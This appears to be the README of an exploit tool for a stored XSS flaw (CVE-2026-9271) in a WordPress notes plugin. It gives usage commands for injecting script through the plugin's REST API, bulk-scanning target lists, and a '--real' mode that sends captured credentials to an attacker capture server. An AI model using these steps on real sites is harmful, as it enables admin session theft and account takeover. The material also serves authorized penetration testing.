
Authorized stored XSS assessment tool for CVE-2026-9271 in WordPress KeepInMind plugin. Detects vulnerable versions, injects safe test payloads, and supports bulk scanning with SQLite reporting.
Authorized security assessment tool for CVE-2026-9271
Author: Sudeepa Wanigarathna · Tool: KIM-Guardian Pro v1.0
Main script: CVE-2026-9271.py

[!IMPORTANT] Authorized use only. This tool is for security research, education, and testing systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.
CVE-2026-9271 is a stored cross-site scripting (XSS) issue in the WordPress KeepInMind (Dashboard Notes) plugin. Insufficient sanitization of note content allows a low-privileged authenticated user (Contributor+) to store HTML/JS that executes in an administrator’s browser, which can lead to admin session compromise / account takeover.
KIM-Guardian Pro (CVE-2026-9271.py) is a Python assessment tool for authorized testers to:
reports/| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-9271 |
| Attack Vector | Authenticated (Contributor+) → Stored XSS → Admin impact |
| Impact | Admin browser XSS; potential account takeover in vulnerable installs |
| Affected Product | WordPress KeepInMind / KeepInMind Dashboard Notes |
| Affected Versions | ≤ 0.8.4.2 (patched in 0.8.4.3+) |
| Vulnerability Type | Stored Cross-Site Scripting (XSS) |
| CWE | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| Surface | Role |
|---|---|
/wp-json/keepinmind/v1/notes | REST API used to create/read notes |
/wp-admin/ | Admin dashboard where stored notes may render |
| Plugin path | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup)| Capability | Description |
|---|---|
| Plugin detection | Checks KeepInMind install paths and version strings |
| WordPress version | Extracts generator / version metadata when available |
| Safe test mode | Default overlay marker proving XSS without capturing credentials |
| Authenticated assess | Logs in with Contributor+ credentials for full REST injection |
| Payload cleanup | Removes injected notes after assessment |
| Bulk scanning | Multi-threaded URL list scan for plugin + vulnerable version |
| SQLite history | Stores assessments in kim_guardian.db |
| Text reports | Writes timestamped reports under reports/ |
| Capture server | Optional local HTTP listener for lab credential-capture drills |
| Web UI | Optional Flask dashboard (web mode) |
| Capability | Description |
|---|---|
| Verbose logging | File + console debug under logs/ |
| Proxy support | Route traffic through Burp or other HTTP proxies |
| Configurable timeout | Per-request timeout (default 30s) |
| Worker pool | Tunable concurrency for bulk scans |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # optional — web mode only
Replace
https://lab.examplewith a lab or authorized target only.
# Help / modes
python3 CVE-2026-9271.py --help
# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000
# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
Default mode uses a non-capturing test overlay. Provide Contributor+ credentials for injection via the REST API.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
Workflow:
-u / -p given)--no-cleanup)reports/kim_assessment_*.txtpython3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
Requires an attacker/capture base URL and --real. Prefer keeping capture on localhost for labs.
# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
Capture UI (when server is running):
| Path | Purpose |
|---|---|
/ | Capture server status page |
/capture | POST endpoint for form submissions |
/captured | Recent captured entries (lab review) |
# targets.txt — one URL per line
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Or comma-separated URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
Bulk checks typically include WordPress hints, KeepInMind version, REST reachability, and wp-login.php presence.
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Bind to localhost by default for safety.
| Mode | Description |
|---|---|
assess | Single-target KeepInMind assessment |
bulk | Multi-target plugin / version scan |
capture | Local credential-capture HTTP server |
web | Optional Flask web UI |
db | List stored assessments |
assess| Argument | Default | Description |
|---|---|---|
url | required | Target WordPress URL |
-u, --username | — | WordPress username (Contributor+) |
-p, --password | — | WordPress password |
-a, --attacker | — | Capture server base URL (lab simulation) |
-t, --test | on | Prefer safe test payload |
-r, --real | off | Enable lab attack payload (needs --attacker) |
--no-cleanup | off | Leave injected notes in place |
-v, --verbose | off | Verbose / debug logging |
--timeout | 30 | Request timeout (seconds) |
--proxy | — | Proxy URL (e.g. http://127.0.0.1:8080) |
bulk| Argument | Default | Description |
|---|---|---|
-f, --file | — | File of URLs (one per line) |
-u, --urls | — | Comma-separated URLs |
-w, --workers | 5 | Thread pool size |
-o, --output | bulk_scan_results.txt | Report path |
capture| Argument | Default | Description |
|---|---|---|
--port | 5000 | Listen port |
web| Argument | Default | Description |
|---|---|---|
--host | 127.0.0.1 | Bind address |
--port | 8080 | Listen port |
db| Argument | Default | Description |
|---|---|---|
--list | off | List recent assessments |
--limit | 10 | Max rows to show |
Colorized status for authentication, plugin detection, injection, verification, and cleanup.
Successful assess runs write files like:
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
| File | Purpose |
|---|---|
kim_guardian.db | Assessment history (target, versions, vuln flag, risk, duration) |
| Path | Purpose |
|---|---|
logs/kim_pro_*.log | Per-run application logs |
| Symptom | What to try |
|---|---|
| Authentication failed | Confirm Contributor+ creds; check /wp-login.php; use -v |
| Plugin not detected | Verify KeepInMind path/name; try verbose mode |
| REST inject fails | Confirm auth + nonce; inspect with --proxy through Burp |
| Timeout / connection errors | Raise --timeout; check network / TLS / proxy |
| No vulnerability in test mode | Confirm version ≤ 0.8.4.2; ensure notes render for admin |
Flask missing in web mode | pip install flask |
| BeautifulSoup missing | pip install beautifulsoup4 |
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Python dependencies
├── README.md # This file
├── kim_guardian.db # SQLite assessment history (generated)
├── logs/ # Runtime logs (generated)
├── reports/ # Assessment text reports (generated)
└── venv/ # Local virtualenv (optional)
This project is provided as-is for defensive security research and authorized penetration testing.
By using this software you agree that:
If you find this issue in production systems you do not own, follow responsible disclosure with the site owner and the plugin maintainer.
Unauthorized access to computer systems is illegal.
| Role | Name |
|---|---|
| Tool Author | Sudeepa Wanigarathna |
| CVE | CVE-2026-9271 |
| Tool | KIM-Guardian Pro v1.0 |
| Main Script | CVE-2026-9271.py |
| License | Educational / Defensive Use |
Educational / Defensive Use Only
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is granted to use this software for authorized security research,
education, and defensive assessment only.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
For authorized security testing only.